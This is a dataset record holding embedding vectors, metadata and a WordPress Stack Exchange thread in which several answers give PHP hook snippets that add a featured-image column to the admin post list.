0.005828857421875,
0.0498046875,
0.0075836181640625,
-0.018218994140625,
0.050506591796875,
-0.0102996826171875,
-0.038330078125,
0.054901123046875,
-0.01105499267578125,
0.02239990234375,
0.00962066650390625,
0.01116180419921875,
0.00238800048828125,
-0.0141143798828125,
-0.0155487060546875,
-0.039947509765625,
0.00727081298828125,
0.003993988037109375,
-0.033416748046875,
-0.01174163818359375,
-0.035736083984375,
0.03570556640625,
0.0099945068359375,
0.0221099853515625,
0.024322509765625,
0.049468994140625,
-0.024627685546875,
0.051544189453125,
-0.002048492431640625,
0.02484130859375,
0.01556396484375,
0.0028285980224609375,
0.08551025390625,
-0.0119781494140625,
0.0005254745483398438,
0.01154327392578125,
0.0203094482421875,
0.0218048095703125,
0.01312255859375,
0.006229400634765625,
-0.025299072265625,
0.05145263671875,
0.02935791015625,
0.01462554931640625,
-0.046722412109375,
-0.036956787109375,
0.0115814208984375,
0.017608642578125,
0.0082550048828125,
-0.0031375885009765625,
0.0251922607421875,
-0.0243072509765625,
0.0113067626953125,
-0.033905029296875,
0.0118255615234375,
0.039764404296875,
0.046905517578125,
0.008575439453125,
0.038055419921875,
-0.0985107421875,
-0.03240966796875,
-0.0675048828125,
0.035675048828125,
0.0137176513671875,
0.08203125,
0.032684326171875,
0.07122802734375,
-0.0098876953125,
-0.04022216796875,
0.011199951171875,
0.0253448486328125,
0.006488800048828125,
-0.02178955078125,
-0.00855255126953125,
-0.0423583984375,
0.0304718017578125,
0.0201873779296875,
0.01073455810546875,
0.052215576171875,
0.04571533203125,
0.0258636474609375,
-0.01409149169921875,
0.0021915435791015625,
0.07452392578125,
-0.0232086181640625,
0.0250244140625,
-0.0258636474609375,
0.0262908935546875,
0.003932952880859375,
0.0034046173095703125,
-0.038848876953125,
0.0325927734375,
0.0243072509765625,
-0.00789642333984375,
0.06732177734375,
-0.01064300537109375,
-0.011474609375,
0.039794921875,
-0.0057220458984375,
0.09234619140625,
0.0156707763671875,
-0.0518798828125,
0.0037746429443359375,
-0.054168701171875,
-0.03265380859375,
0.0267333984375,
0.0301513671875,
-0.0276031494140625,
0.048248291015625,
-0.0166473388671875,
0.005283355712890625,
0.0291290283203125,
-0.0097808837890625,
-0.0260772705078125,
-0.0017137527465820312,
0.033172607421875,
-0.0204925537109375,
-0.046142578125,
-0.017730712890625,
0.01114654541015625,
0.00943756103515625,
-0.006824493408203125,
0.0679931640625,
-0.001983642578125,
0.004047393798828125,
-0.027862548828125,
0.0272674560546875,
-0.01032257080078125,
-0.037750244140625,
0.03515625,
0.032684326171875,
0.0017032623291015625,
-0.019439697265625,
0.00351715087890625,
-0.0035076141357421875,
0.06439208984375,
-0.02142333984375,
-0.0178680419921875,
-0.01727294921875,
0.04132080078125,
-0.0222930908203125,
0.0120391845703125,
-0.025726318359375,
-0.0102691650390625,
-0.031524658203125,
-0.0268096923828125,
0.0302276611328125,
-0.01303863525390625,
0.0160064697265625,
0.0193634033203125,
0.00994110107421875,
-0.030120849609375,
0.0090484619140625,
-0.020477294921875,
0.0171661376953125,
0.034271240234375,
0.010009765625,
-0.004100799560546875,
0.0276947021484375,
-0.014801025390625,
0.017242431640625,
-0.005809783935546875,
0.05560302734375,
-0.0006861686706542969,
-0.047882080078125,
0.0301055908203125,
0.01210784912109375,
0.0016117095947265625,
-0.041259765625,
-0.0277252197265625,
0.05218505859375,
-0.0279083251953125,
-0.033447265625,
0.0032138824462890625,
-0.038330078125,
-0.01580810546875,
0.0159912109375,
-0.0003590583801269531,
0.021636962890625,
-0.044158935546875,
-0.025146484375,
0.0016727447509765625,
0.0545654296875,
0.0015010833740234375,
-0.054718017578125,
0.016387939453125,
-0.0338134765625,
0.060577392578125,
0.01470947265625,
-0.10272216796875,
0.040069580078125,
0.07318115234375,
0.039306640625,
-0.005985260009765625,
-0.03582763671875,
-0.0278167724609375,
-0.04193115234375,
0.01318359375,
0.042388916015625,
-0.016571044921875,
-0.0369873046875,
0.0206298828125,
0.00881195068359375,
0.06640625,
-0.01262664794921875,
-0.058563232421875,
-0.00988006591796875,
0.0209197998046875,
0.0218658447265625,
-0.05523681640625,
-0.021087646484375,
-0.06341552734375,
0.0011930465698242188,
-0.0269622802734375,
0.01153564453125,
0.031341552734375,
-0.0125274658203125,
-0.00925445556640625,
0.03436279296875,
0.0067901611328125,
-0.0091094970703125,
-0.04974365234375,
-0.0010471343994140625,
-0.01708984375,
0.06488037109375,
-0.01297760009765625,
-0.014984130859375,
-0.021026611328125,
0.0297393798828125,
-0.0156097412109375,
0.0040283203125,
0.0263519287109375,
-0.03216552734375,
-0.0194549560546875,
-0.009521484375,
-0.00536346435546875,
-0.0222625732421875,
-0.00015056133270263672,
-0.027252197265625,
0.01873779296875,
0.0010890960693359375,
-0.042572021484375,
-0.03607177734375,
0.01337432861328125,
0.008331298828125,
-0.0048370361328125,
-0.0032138824462890625,
-0.0165252685546875,
-0.021514892578125,
0.040802001953125,
0.00887298583984375,
0.01293182373046875,
-0.006572723388671875,
-0.0027332305908203125,
0.007083892822265625,
-0.04754638671875,
-0.00638580322265625,
0.02227783203125,
-0.032989501953125,
0.0077972412109375,
-0.011505126953125,
-0.00875091552734375,
-0.0146942138671875,
0.0185089111328125,
-0.037322998046875,
0.00801849365234375,
0.01201629638671875,
-0.020965576171875,
-0.05010986328125,
-0.0018405914306640625,
-0.019866943359375,
0.0018463134765625,
-0.018402099609375,
0.010894775390625,
0.0036563873291015625,
-0.0310821533203125,
0.0181732177734375,
0.015777587890625,
0.015289306640625,
-0.01508331298828125,
0.00231170654296875,
0.007228851318359375,
0.0149383544921875,
-0.0099945068359375,
0.0005817413330078125,
-0.0046539306640625,
0.02020263671875,
-0.01308441162109375,
0.004638671875,
-0.008880615234375,
0.07080078125,
0.01491546630859375,
0.070556640625,
-0.0032176971435546875,
-0.025848388671875,
-0.0106201171875,
0.0303192138671875,
-0.0145721435546875,
-0.01041412353515625,
0.004833221435546875,
-0.022369384765625,
0.0154876708984375,
-0.053070068359375,
-0.011932373046875,
-0.03582763671875,
0.000560760498046875,
0.0007762908935546875,
-0.044281005859375,
0.0310516357421875
] |
f929cc7727761632cf9f9ce31090bee4512f9816
|
Wordpress Stackexchange
Q: Post featured image column on admin post list page I have a client site which accepts images from users as posts. For moderation, we are opening each draft post which obviously takes a lot of time if a hefty amount of images are moderated.
So, Is there a way to show featured images of the post on the admin post list page as a column?
A: Based on @Mangesh Parte code, you can have featured image at first column, before title.
add_filter('manage_posts_columns', 'add_img_column');
add_filter('manage_posts_custom_column', 'manage_img_column', 10, 2);
function add_img_column($columns) {
$columns = array_slice($columns, 0, 1, true) + array("img" => "Featured Image") + array_slice($columns, 1, count($columns) - 1, true);
return $columns;
}
function manage_img_column($column_name, $post_id) {
if( $column_name == 'img' ) {
echo get_the_post_thumbnail($post_id, 'thumbnail');
}
return $column_name;
}
|
Q: Post featured image column on admin post list page I have a client site which accepts images from users as posts. For moderation, we are opening each draft post which obviously takes a lot of time if a hefty amount of images are moderated.
So, Is there a way to show featured images of the post on the admin post list page as a column?
A: Based on @Mangesh Parte code, you can have featured image at first column, before title.
add_filter('manage_posts_columns', 'add_img_column');
add_filter('manage_posts_custom_column', 'manage_img_column', 10, 2);
function add_img_column($columns) {
$columns = array_slice($columns, 0, 1, true) + array("img" => "Featured Image") + array_slice($columns, 1, count($columns) - 1, true);
return $columns;
}
function manage_img_column($column_name, $post_id) {
if( $column_name == 'img' ) {
echo get_the_post_thumbnail($post_id, 'thumbnail');
}
return $column_name;
}
A: This code shows how to add the featured image column to a 'books' custom post type (CPT). Replace in the first line word 'books' with the slug of your custom post type.
add_filter('manage_books_posts_columns', 'add_img_column');
add_filter('manage_posts_custom_column', 'manage_img_column', 10, 2);
function add_img_column($columns) {
$columns = array_slice($columns, 0, 1, true) + array("img" => "Featured Image") + array_slice($columns, 1, count($columns) - 1, true);
return $columns;
}
function manage_img_column($column_name, $post_id) {
if( $column_name == 'img' ) {
echo get_the_post_thumbnail($post_id, 'thumbnail');
}
return $column_name;
}
You can find more information here
https://codex.wordpress.org/Plugin_API/Action_Reference/manage_$post_type_posts_custom_column
A: This is what I'm using, cobbled together from snippets found online... It's uses a filter on manage_posts_colummns to re-jig the headers and an action on manage_posts_custom_column to add the row level data.
function custom_columns( $columns ) {
$columns = array(
'cb' => '<input type="checkbox" />',
'featured_image' => 'Image',
'title' => 'Title',
'comments' => '<span class="vers"><div title="Comments" class="comment-grey-bubble"></div></span>',
'date' => 'Date'
);
return $columns;
}
add_filter('manage_posts_columns' , 'custom_columns');
function custom_columns_data( $column, $post_id ) {
switch ( $column ) {
case 'featured_image':
the_post_thumbnail( 'thumbnail' );
break;
}
}
add_action( 'manage_posts_custom_column' , 'custom_columns_data', 10, 2 );
You can also use this on custom post types by filtering on manage_CPTNAME_posts_columns.
A: Use this hook to add custom column to admin post/page list view.
add_filter('manage_posts_columns', 'add_img_column');
add_filter('manage_posts_custom_column', 'manage_img_column', 10, 2);
function add_img_column($columns) {
$columns['img'] = 'Featured Image';
return $columns;
}
function manage_img_column($column_name, $post_id) {
if( $column_name == 'img' ) {
echo get_the_post_thumbnail($post_id, 'thumbnail');
}
return $column_name;
}
Put this code in your functions.php
|
wordpress
|
{
"language": "en",
"length": 375,
"provenance": "stackexchange_00019.jsonl.gz:436144",
"question_score": "8",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/111183"
}
|
[
0.0555419921875,
-0.0100860595703125,
0.06060791015625,
-0.01026153564453125,
0.0152740478515625,
-0.0129241943359375,
0.05706787109375,
-0.062225341796875,
0.023681640625,
0.007080078125,
-0.0102081298828125,
-0.01096343994140625,
-0.03851318359375,
-0.02484130859375,
-0.018218994140625,
-0.032135009765625,
0.04205322265625,
-0.0166778564453125,
0.036895751953125,
0.0175628662109375,
-0.01125335693359375,
0.05291748046875,
0.017364501953125,
0.0239410400390625,
0.00638580322265625,
0.0022754669189453125,
0.0151214599609375,
0.004611968994140625,
0.008758544921875,
-0.0010528564453125,
0.015106201171875,
-0.00678253173828125,
0.00814056396484375,
-0.0095062255859375,
0.03436279296875,
-0.0071868896484375,
0.00897979736328125,
-0.002197265625,
0.01275634765625,
-0.00881195068359375,
0.006801605224609375,
-0.00177001953125,
0.012603759765625,
0.015411376953125,
-0.01458740234375,
0.0099334716796875,
-0.04180908203125,
-0.0479736328125,
0.0124053955078125,
-0.026763916015625,
0.01044464111328125,
0.02301025390625,
0.0305328369140625,
-0.06585693359375,
-0.005481719970703125,
0.0133514404296875,
-0.0240020751953125,
0.0098876953125,
0.052886962890625,
-0.0137481689453125,
-0.04705810546875,
-0.035400390625,
0.0274200439453125,
-0.04156494140625,
-0.0181121826171875,
-0.00014531612396240234,
0.00218963623046875,
0.0001195073127746582,
-0.02984619140625,
-0.036712646484375,
0.0195770263671875,
-0.0237884521484375,
0.004917144775390625,
-0.05780029296875,
-0.00592041015625,
0.045684814453125,
-0.00927734375,
0.006237030029296875,
0.0006947517395019531,
-0.0209197998046875,
0.000019729137420654297,
-0.0021419525146484375,
0.022735595703125,
-0.0031795501708984375,
-0.0181732177734375,
-0.0019702911376953125,
-0.0184326171875,
0.0003788471221923828,
-0.02471923828125,
-0.019622802734375,
-0.0228729248046875,
-0.04364013671875,
-0.05560302734375,
0.051483154296875,
0.018218994140625,
-0.0194091796875,
0.055145263671875,
0.0657958984375,
0.0158233642578125,
0.011383056640625,
-0.025238037109375,
-0.040069580078125,
0.008270263671875,
-0.04168701171875,
0.021087646484375,
0.01213836669921875,
-0.0246124267578125,
-0.03741455078125,
0.01861572265625,
0.02960205078125,
-0.0111236572265625,
0.0017995834350585938,
0.019378662109375,
0.007366180419921875,
-0.0401611328125,
-0.020294189453125,
-0.0288848876953125,
-0.015869140625,
-0.004566192626953125,
-0.01351165771484375,
0.00614166259765625,
0.0025482177734375,
0.01314544677734375,
-0.04669189453125,
0.06298828125,
0.04302978515625,
-0.04840087890625,
-0.0175628662109375,
-0.00084686279296875,
0.02569580078125,
-0.0245361328125,
0.006134033203125,
0.07501220703125,
0.0302581787109375,
0.014923095703125,
-0.0204315185546875,
-0.0157012939453125,
-0.00670623779296875,
0.022003173828125,
-0.0171356201171875,
-0.01482391357421875,
-0.00717926025390625,
0.037933349609375,
-0.0008482933044433594,
0.0168609619140625,
0.040802001953125,
0.0122528076171875,
-0.019683837890625,
-0.00458526611328125,
-0.054718017578125,
-0.013336181640625,
-0.0181732177734375,
0.01218414306640625,
0.046722412109375,
0.0046234130859375,
0.0140533447265625,
0.037811279296875,
-0.00705718994140625,
-0.0015172958374023438,
-0.027313232421875,
0.034912109375,
0.005584716796875,
-0.006992340087890625,
-0.0258941650390625,
-0.046173095703125,
0.0026149749755859375,
-0.041595458984375,
-0.007755279541015625,
0.0191497802734375,
-0.01367950439453125,
0.00881195068359375,
0.0035457611083984375,
0.02899169921875,
0.0031032562255859375,
-0.01233673095703125,
0.01322174072265625,
0.0147552490234375,
-0.015533447265625,
0.0203704833984375,
0.05010986328125,
-0.0015964508056640625,
-0.01983642578125,
0.0207061767578125,
-0.01515960693359375,
-0.023345947265625,
0.006702423095703125,
0.01302337646484375,
0.0338134765625,
0.0158843994140625,
0.0166778564453125,
0.01494598388671875,
-0.007701873779296875,
-0.0306549072265625,
-0.009979248046875,
-0.0028972625732421875,
-0.0240631103515625,
-0.00980377197265625,
-0.0283203125,
-0.004413604736328125,
0.0300750732421875,
0.022308349609375,
-0.0008821487426757812,
-0.0010309219360351562,
-0.005130767822265625,
-0.01406097412109375,
-0.014495849609375,
-0.01389312744140625,
0.016845703125,
-0.0193634033203125,
0.03155517578125,
0.00772857666015625,
0.0079345703125,
-0.01629638671875,
-0.01751708984375,
0.004947662353515625,
0.0140228271484375,
-0.00586700439453125,
-0.021942138671875,
-0.0005998611450195312,
0.01312255859375,
-0.00675201416015625,
0.01342010498046875,
-0.033843994140625,
0.006855010986328125,
0.049560546875,
0.02740478515625,
-0.043243408203125,
-0.017303466796875,
0.01079559326171875,
0.0261077880859375,
-0.068115234375,
0.040740966796875,
-0.033050537109375,
-0.016815185546875,
-0.022308349609375,
-0.0183258056640625,
-0.005588531494140625,
-0.0667724609375,
0.022369384765625,
0.05181884765625,
0.0233306884765625,
0.028717041015625,
0.00267791748046875,
0.0218658447265625,
0.049468994140625,
0.0029888153076171875,
0.028106689453125,
-0.00975799560546875,
-0.02593994140625,
-0.0178680419921875,
0.0018796920776367188,
-0.005199432373046875,
0.03753662109375,
-0.059112548828125,
0.035003662109375,
0.04571533203125,
-0.009124755859375,
0.0197601318359375,
-0.026824951171875,
0.0012063980102539062,
0.0212249755859375,
0.013946533203125,
-0.0227203369140625,
0.003475189208984375,
0.01548004150390625,
0.03826904296875,
0.0338134765625,
0.0210418701171875,
-0.059661865234375,
0.0195159912109375,
0.036102294921875,
0.04669189453125,
0.00490570068359375,
0.0284576416015625,
0.001407623291015625,
-0.0009212493896484375,
-0.0276947021484375,
-0.0016489028930664062,
0.007476806640625,
-0.002155303955078125,
0.00786590576171875,
-0.005161285400390625,
-0.0247802734375,
0.00783538818359375,
-0.01004791259765625,
-0.03192138671875,
0.039947509765625,
0.0694580078125,
-0.00426483154296875,
-0.0134429931640625,
0.003314971923828125,
0.029876708984375,
-0.008636474609375,
0.0297088623046875,
-0.0218048095703125,
-0.0143585205078125,
-0.0372314453125,
-0.035003662109375,
0.038330078125,
-0.04931640625,
0.049346923828125,
0.06304931640625,
-0.0178680419921875,
0.0228729248046875,
-0.003055572509765625,
0.0107574462890625,
-0.00921630859375,
0.02227783203125,
-0.005619049072265625,
-0.029083251953125,
-0.021270751953125,
0.035003662109375,
0.0394287109375,
0.082275390625,
-0.00775909423828125,
-0.0305938720703125,
-0.010589599609375,
0.03338623046875,
-0.042510986328125,
-0.051177978515625,
-0.01678466796875,
-0.032318115234375,
-0.025177001953125,
0.0007710456848144531,
-0.019134521484375,
0.00814056396484375,
0.021453857421875,
-0.0000743865966796875,
-0.0308685302734375,
0.000035643577575683594,
-0.018768310546875,
-0.03314208984375,
-0.0223236083984375,
-0.005695343017578125,
-0.0224456787109375,
-0.0006189346313476562,
0.002140045166015625,
0.0782470703125,
0.0018339157104492188,
-0.0823974609375,
0.0038242340087890625,
-0.005767822265625,
-0.01433563232421875,
0.04937744140625,
0.022247314453125,
-0.0078887939453125,
-0.036895751953125,
0.0125274658203125,
-0.015167236328125,
0.0268707275390625,
-0.0399169921875,
-0.0009813308715820312,
-0.056671142578125,
-0.00600433349609375,
0.00046753883361816406,
-0.0169219970703125,
0.0452880859375,
0.024200439453125,
0.024658203125,
-0.020263671875,
-0.033935546875,
-0.036346435546875,
-0.06304931640625,
-0.046112060546875,
0.029449462890625,
0.0279388427734375,
-0.042388916015625,
0.01087188720703125,
-0.0048370361328125,
-0.0191497802734375,
0.0237579345703125,
-0.056640625,
0.03515625,
0.0169525146484375,
0.0249176025390625,
-0.031707763671875,
0.000701904296875,
0.0018672943115234375,
0.00360870361328125,
0.0022563934326171875,
0.08685302734375,
-0.01318359375,
0.08001708984375,
-0.05535888671875,
-0.06488037109375,
0.044830322265625,
-0.019989013671875,
-0.00612640380859375,
-0.0192718505859375,
-0.0205230712890625,
0.0176849365234375,
0.095458984375,
-0.0460205078125,
-0.025604248046875,
-0.029296875,
0.00579833984375,
-0.0025730133056640625,
-0.05364990234375,
-0.0178375244140625,
-0.005916595458984375,
-0.12054443359375,
-0.000029921531677246094,
-0.01690673828125,
-0.046173095703125,
-0.000021278858184814453,
0.00585174560546875,
-0.063720703125,
-0.043212890625,
0.029754638671875,
-0.0228271484375,
-0.023406982421875,
0.06494140625,
-0.044158935546875,
0.0309295654296875,
-0.0394287109375,
-0.0189208984375,
-0.10882568359375,
-0.019287109375,
0.00682830810546875,
0.0946044921875,
-0.020751953125,
0.0037174224853515625,
-0.043701171875,
0.047149658203125,
0.02044677734375,
0.03192138671875,
-0.01003265380859375,
0.0015850067138671875,
0.004207611083984375,
-0.042327880859375,
0.0012121200561523438,
-0.043701171875,
-0.04266357421875,
-0.0643310546875,
-0.022674560546875,
-0.039581298828125,
-0.0258941650390625,
0.0234527587890625,
-0.006195068359375,
0.0126800537109375,
0.0298309326171875,
-0.01114654541015625,
0.0267333984375,
0.03875732421875,
0.003719329833984375,
-0.0025157928466796875,
-0.037078857421875,
0.0178375244140625,
0.00927734375,
0.01036834716796875,
-0.007434844970703125,
0.0261993408203125,
0.06640625,
0.017822265625,
-0.015289306640625,
-0.077392578125,
0.0203857421875,
0.037261962890625,
-0.0164642333984375,
0.05364990234375,
0.0294036865234375,
-0.0227508544921875,
0.044586181640625,
0.01134490966796875,
-0.026947021484375,
-0.0210418701171875,
0.0265960693359375,
0.00958251953125,
-0.01061248779296875,
-0.01247406005859375,
-0.0005140304565429688,
0.0625,
0.0072174072265625,
-0.01361083984375,
-0.020111083984375,
-0.0609130859375,
0.04913330078125,
0.006134033203125,
0.023040771484375,
-0.042816162109375,
-0.0311126708984375,
0.0013990402221679688,
-0.0174102783203125,
0.062347412109375,
0.0321044921875,
-0.006168365478515625,
0.031890869140625,
0.0303802490234375,
0.00463104248046875,
0.025604248046875,
-0.047882080078125,
0.0300750732421875,
0.038482666015625,
-0.0304718017578125,
0.008575439453125,
0.048095703125,
-0.0158538818359375,
0.0447998046875,
-0.00011724233627319336,
-0.0396728515625,
-0.02001953125,
-0.004756927490234375,
0.012359619140625,
-0.006336212158203125,
-0.0197906494140625,
0.01611328125,
0.05035400390625,
0.0059661865234375,
-0.01444244384765625,
0.0019245147705078125,
0.005062103271484375,
-0.0303955078125,
0.0135040283203125,
0.0152130126953125,
-0.0029239654541015625,
0.039154052734375,
0.04779052734375,
-0.0159912109375,
0.046051025390625,
-0.01395416259765625,
0.04937744140625,
0.0478515625,
0.0211944580078125,
0.0109405517578125,
0.0268096923828125,
-0.04669189453125,
0.033477783203125,
-0.0196075439453125,
-0.005634307861328125,
0.055633544921875,
-0.020294189453125,
0.028472900390625,
-0.0179290771484375,
-0.052490234375,
0.056610107421875,
-0.0731201171875,
-0.0265045166015625,
0.01444244384765625,
-0.0290679931640625,
-0.06488037109375,
-0.0202789306640625,
-0.000804901123046875,
0.01226806640625,
-0.014312744140625,
-0.055999755859375,
0.053955078125,
-0.039703369140625,
0.041168212890625,
-0.047515869140625,
-0.01056671142578125,
0.01345062255859375,
0.0113677978515625,
-0.018707275390625,
-0.02545166015625,
-0.026519775390625,
0.00658416748046875,
-0.0256805419921875,
-0.01129150390625,
0.0014047622680664062,
0.0263214111328125,
-0.0186920166015625,
0.0233917236328125,
0.01210784912109375,
-0.0268707275390625,
-0.0026493072509765625,
0.0234527587890625,
0.016204833984375,
0.004608154296875,
-0.03472900390625,
-0.0224456787109375,
-0.0618896484375,
0.0037784576416015625,
0.06927490234375,
-0.0011768341064453125,
-0.003704071044921875,
-0.03448486328125,
0.0292816162109375,
0.0253448486328125,
0.00001430511474609375,
-0.036407470703125,
-0.031829833984375,
0.0092315673828125,
0.061676025390625,
0.0693359375,
-0.01200103759765625,
0.02325439453125,
0.019439697265625,
0.024993896484375,
0.0096893310546875,
0.0028858184814453125,
-0.0094757080078125,
-0.02593994140625,
-0.0137786865234375,
-0.03961181640625,
0.005344390869140625,
0.0458984375,
-0.03369140625,
-0.0211334228515625,
0.005828857421875,
0.0183868408203125,
0.026092529296875,
-0.016937255859375,
0.0021610260009765625,
-0.0253753662109375,
-0.0017147064208984375,
-0.0439453125,
-0.0004911422729492188,
0.0096588134765625,
-0.00827789306640625,
0.0243072509765625,
-0.033721923828125,
-0.058685302734375,
0.044708251953125,
-0.01010894775390625,
0.0186767578125,
0.035888671875,
0.0015087127685546875,
0.042236328125,
0.0584716796875,
0.0032596588134765625,
0.029815673828125,
0.03350830078125,
0.019775390625,
-0.035186767578125,
0.00604248046875,
0.00876617431640625,
-0.0306854248046875,
0.050628662109375,
0.0150909423828125,
0.0196075439453125,
0.054046630859375,
-0.0127410888671875,
0.021942138671875,
0.03387451171875,
0.058135986328125,
-0.0299835205078125,
0.004222869873046875,
0.006908416748046875,
-0.041839599609375,
0.048828125,
-0.0099639892578125,
-0.006481170654296875,
-0.0131378173828125,
0.047943115234375,
-0.019622802734375,
-0.020751953125,
-0.001842498779296875,
-0.005340576171875,
-0.0168609619140625,
0.0139312744140625,
0.0179443359375,
0.010009765625,
-0.025634765625,
-0.04144287109375,
0.01552581787109375,
-0.0240631103515625,
-0.0022487640380859375,
0.04693603515625,
-0.06256103515625,
0.0120391845703125,
-0.01479339599609375,
-0.01103973388671875,
-0.0180816650390625,
0.0032062530517578125,
0.051177978515625,
0.04144287109375,
-0.020904541015625,
0.04534912109375,
0.00814056396484375,
0.005352020263671875,
0.00969696044921875,
-0.063720703125,
0.0225677490234375,
-0.005931854248046875,
-0.00041031837463378906,
-0.007061004638671875,
-0.032196044921875,
0.00519561767578125,
-0.036834716796875,
-0.0018100738525390625,
-0.0142059326171875,
-0.004192352294921875,
0.084228515625,
0.00855255126953125,
-0.046600341796875,
0.0252838134765625,
-0.0012998580932617188,
-0.024627685546875,
0.00004667043685913086,
0.022796630859375,
-0.0289154052734375,
-0.01450347900390625,
-0.005084991455078125,
-0.040313720703125,
-0.0090789794921875,
-0.0232086181640625,
-0.058258056640625,
0.031585693359375,
-0.0220184326171875,
0.027435302734375,
-0.001110076904296875,
0.006267547607421875,
0.0294342041015625,
-0.011871337890625,
-0.023101806640625,
0.01153564453125,
-0.071044921875,
0.07421875,
-0.0557861328125,
0.0243377685546875,
0.01247406005859375,
0.032928466796875,
0.058868408203125,
0.0105743408203125,
-0.019378662109375,
-0.0175628662109375,
0.05731201171875,
0.05145263671875,
0.0212860107421875,
0.0191192626953125,
-0.021942138671875,
0.0408935546875,
0.0268402099609375,
-0.032806396484375,
0.0293426513671875,
-0.0182647705078125,
-0.049102783203125,
0.003711700439453125,
0.038665771484375,
0.0634765625,
0.030364990234375,
0.00531005859375,
-0.04376220703125,
0.028167724609375,
0.0797119140625,
-0.0760498046875,
0.00640869140625,
0.02386474609375,
0.01544952392578125,
0.0164794921875,
-0.009613037109375,
0.0029125213623046875,
0.029998779296875,
0.023712158203125,
0.059722900390625,
0.028045654296875,
0.033966064453125,
0.038787841796875,
-0.003925323486328125,
0.0360107421875,
0.0352783203125,
-0.06219482421875,
0.0322265625,
-0.00591278076171875,
0.02838134765625,
-0.039459228515625,
0.0085296630859375,
0.0070648193359375,
0.033782958984375,
-0.043060302734375,
-0.014068603515625,
0.024444580078125,
0.02337646484375,
-0.01030731201171875,
-0.01131439208984375,
-0.0220947265625,
-0.0200042724609375,
0.042388916015625,
-0.0262908935546875,
-0.0202789306640625,
0.04119873046875,
0.04132080078125,
-0.0021991729736328125,
-0.01505279541015625,
-0.025543212890625,
-0.033721923828125,
-0.025238037109375,
0.030792236328125,
0.03704833984375,
0.0263519287109375,
-0.033721923828125,
0.03070068359375,
-0.01800537109375,
0.012725830078125,
-0.0185394287109375,
0.0193023681640625,
0.0007357597351074219,
0.032928466796875,
-0.05194091796875,
-0.02142333984375,
0.0156402587890625,
0.042572021484375,
0.0001971721649169922,
-0.006824493408203125,
0.0296630859375,
0.01471710205078125,
-0.05841064453125,
-0.0174407958984375,
0.03155517578125,
-0.0292816162109375,
-0.02294921875,
-0.040069580078125,
0.0004527568817138672,
0.0285186767578125,
-0.01318359375,
0.0227203369140625,
-0.02105712890625,
0.046905517578125,
-0.0244598388671875,
0.0270538330078125,
-0.01837158203125,
-0.0276641845703125,
-0.0179443359375,
0.0032520294189453125,
0.044036865234375,
-0.0111236572265625,
-0.09674072265625,
0.0023212432861328125,
-0.05157470703125,
-0.09161376953125,
0.03900146484375,
0.041595458984375,
-0.05340576171875,
0.0248565673828125,
0.0258636474609375,
-0.0005650520324707031,
0.013458251953125,
-0.0201873779296875,
0.0160980224609375,
-0.03546142578125,
0.0234527587890625,
-0.004489898681640625,
-0.00433349609375,
-0.02252197265625,
-0.0221710205078125,
0.06256103515625,
0.0268096923828125,
0.0369873046875,
-0.015838623046875,
0.05572509765625,
-0.026641845703125,
-0.018707275390625,
-0.0266265869140625,
-0.0224456787109375,
0.033721923828125,
-0.02728271484375,
-0.040740966796875,
0.01800537109375,
-0.024139404296875,
0.00047850608825683594,
0.041778564453125,
-0.041015625,
-0.0303955078125,
0.01215362548828125,
0.0184783935546875,
0.00701141357421875,
0.038055419921875,
-0.030029296875,
-0.0245208740234375,
-0.063720703125,
-0.024169921875,
0.031646728515625,
-0.0046539306640625,
-0.01161956787109375,
0.0220947265625,
0.00997161865234375,
-0.0231781005859375,
0.04681396484375,
-0.0396728515625,
0.06976318359375,
0.0401611328125,
-0.020660400390625,
-0.0135650634765625,
0.0270843505859375,
-0.00553131103515625,
-0.00783538818359375,
0.0187835693359375,
0.042083740234375,
0.0002105236053466797,
-0.0151824951171875,
0.017791748046875,
0.010650634765625,
0.03900146484375,
-0.0290985107421875,
0.01000213623046875,
0.0176239013671875,
0.004878997802734375,
-0.01491546630859375,
0.0077362060546875,
-0.0121612548828125,
-0.035797119140625,
-0.0194549560546875,
0.020843505859375,
-0.0204620361328125,
-0.048736572265625,
-0.07452392578125,
0.0032596588134765625,
0.024871826171875,
0.0297088623046875,
-0.06103515625,
0.06243896484375,
-0.006130218505859375,
-0.002227783203125,
0.0012903213500976562,
-0.0219879150390625,
0.0256195068359375,
0.051361083984375,
-0.05535888671875,
-0.01837158203125,
-0.015472412109375,
-0.02044677734375,
-0.034912109375,
0.034271240234375,
0.049957275390625,
-0.034576416015625,
0.00800323486328125,
0.040863037109375,
0.0154876708984375,
0.087646484375,
-0.033203125,
-0.0278472900390625,
-0.035064697265625,
0.0259552001953125,
-0.007610321044921875,
-0.050537109375,
0.029571533203125,
-0.05322265625,
-0.01898193359375,
-0.0186004638671875,
0.031280517578125,
0.0323486328125,
-0.0276031494140625,
-0.0745849609375,
0.0755615234375,
-0.0262908935546875,
-0.024505615234375,
-0.04058837890625,
0.0110626220703125,
-0.0129241943359375,
0.01320648193359375,
0.006740570068359375,
-0.025146484375,
-0.002605438232421875,
0.011871337890625,
-0.004611968994140625,
-0.0167999267578125,
0.04949951171875,
-0.0174407958984375,
-0.03912353515625,
-0.01953125,
-0.0029392242431640625,
-0.0224609375,
0.0283203125,
-0.019195556640625,
0.035919189453125,
0.04022216796875,
-0.036956787109375,
-0.039581298828125,
-0.0193023681640625,
-0.034210205078125,
-0.025238037109375,
-0.0181427001953125,
-0.040069580078125,
-0.0304107666015625,
0.060394287109375,
0.059112548828125,
0.01409149169921875,
-0.01351165771484375,
-0.0017566680908203125,
-0.059326171875,
-0.03289794921875,
-0.0256805419921875,
0.015716552734375,
-0.08758544921875,
-0.014892578125,
0.0457763671875,
-0.02813720703125,
-0.01349639892578125,
0.006191253662109375,
-0.03704833984375,
0.0016527175903320312,
-0.00441741943359375,
0.0011587142944335938,
-0.035552978515625,
0.01483917236328125,
0.034942626953125,
-0.038116455078125,
0.0033817291259765625,
-0.0197296142578125,
0.0115509033203125,
0.006732940673828125,
-0.035003662109375,
-0.049346923828125,
-0.037353515625,
0.0204010009765625,
0.04071044921875,
-0.016998291015625,
-0.0156402587890625,
-0.005580902099609375,
0.0225372314453125,
0.0019426345825195312,
0.0205078125,
-0.01192474365234375,
0.017059326171875,
0.0157623291015625,
0.048828125,
-0.006069183349609375,
0.04730224609375,
-0.0025234222412109375,
0.04217529296875,
-0.004398345947265625,
0.041961669921875,
-0.01210784912109375,
-0.0233001708984375,
0.016448974609375,
-0.0460205078125,
0.004413604736328125,
0.037872314453125,
-0.0232391357421875,
0.00579833984375,
-0.036712646484375,
-0.0114288330078125,
-0.007526397705078125,
-0.01313018798828125
] |
